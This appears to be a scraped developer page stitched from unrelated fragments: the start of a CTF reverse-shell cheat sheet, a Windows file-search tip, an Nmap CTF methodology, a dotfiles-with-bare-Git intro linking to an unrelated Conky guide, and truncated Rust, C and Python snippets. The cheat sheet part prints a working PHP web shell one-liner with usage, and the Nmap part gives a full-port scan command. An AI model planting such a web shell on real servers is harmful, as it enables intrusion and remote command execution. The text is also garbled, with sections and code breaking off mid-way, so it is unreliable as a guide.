EONRaider

When dealing with TryHackMe & CTFs, having a reliable cheat sheet of shells and reverse shells is an absolute necessity for your CTF toolchain, post-exploitation, and initial access phases.

When you find a vulnerability (like RCE, file upload, or an exploit that allows code execution), you need a payload to translate that vulnerability into interactive access. Here is a breakdown of the most common web shells, bind shells, and reverse shells used to gain command execution on a target box.

1. Web Shells

Web shells are short scripts uploaded to a compromised web server that allow you to execute system commands via HTTP requests.

PHP: <?php system($_GET['cmd']); ?>
Usage: Browse to http://target.com/shell.php?cmd=whoami

To find files within a Windows command shell (CMD), you can use several built-in commands depending on the complexity of your search.

Common File Search Commands

dir command: This is the most basic way to list files in the current directory.
- To search recursively through all subdirectories for a specific file name, use: dir /s <filename>
  - Example: dir /s config.php

Here is a comprehensive Nmap methodology structured for attacking boxes on CTF platforms like TryHackMe and HackTheBox. A consistent workflow is essential to ensure you don’t miss critical entry points and maintain efficiency during your enumeration.

Phase 1: Rapid Discovery (The "Fast Scan")

Before diving into deep enumeration, you need a quick overview of what is open.

Step I: You should be able to simply copy the commands into a terminal emulator and hit ENTER, instead of having to take the error-prone approach of modifying each one every time just to set up the correct target IP address.
- Command: export RHOST="<IP_ADDRESS>"
Step II: Identify the surface area. Do not attempt service enumeration yet; just find the open ports.
Command: sudo nmap -sS -sU -p T:1-65535,U:--top-ports 100 --min-rate=1000 -T4 $RHOST -v --reason -oA ${RHOST}_discovery

The most elegant and native way to manage dotfiles across your home directory and subdirectories is using a bare Git repository.

While you could move all your configs into a single folder and create symlinks (the traditional approach), a bare Git repository allows you to leave all your files exactly where they are. It requires zero extra software—just Git—and prevents your home directory from becoming a cluttered mess of symlinks.

Here is exactly how to set it up.

The Bare Repository Setup

A bare repository separates the Git database from your working tree. The database will live in a hidden folder, but Git will treat your entire home directory as the working tree.

How to Use

Just follow the guide at https://linuxconfig.org/ubuntu-20-04-system-monitoring-with-conky-widgets

	// [dependencies]
	// async-std = { version = "1.7.0", features = ["unstable"]}
	// surf = "1.0.0"

	pub async fn many_requests(urls: &[String]) -> Vec<Result<String, surf::Exception>> {
	let client = surf::Client::new();

	let mut handles = vec![];
	for url in urls {
	let request = client.get(&url).recv_string();

	#include <stdio.h>
	#include <stdlib.h>

	#define SIZE(arr) (sizeof(arr) / sizeof((arr)[0]))

	void arr_iter(const short[], short);
	void in_place_mod(short[], short, unsigned int);

	int main(void) {
	short numsArr[] = {1, 2, 3, 4};

	#!/bin/env/python3
	# https://gist.github.com/EONRaider/d6041f6c5845f9b8e726bed33d09c6c6
	__author__ = 'EONRaider, keybase.io/eonraider'

	from socket import socket


	def get_request(hostname: str, path: str = None, port: int = 80,
	encoding: str = 'utf_8'):
	path = path if path is not None else '/'

	#!/usr/bin/env python3
	# https://gist.github.com/EONRaider/35484fc55c643ddbdac7ae55f919419d
	__author__ = 'EONRaider, keybase.io/eonraider'


	def translate_tcp_flags(flag_code: str, *, base: int):
	flag_names = 'NS', 'CWR', 'ECE', 'URG', 'ACK', 'PSH', 'RST', 'SYN', 'FIN'
	flag_bits = format(int(flag_code, base=base), '09b')
	yield from (flag_name for flag_name, flag_bit in zip(flag_names, flag_bits)
	if flag_bit == '1')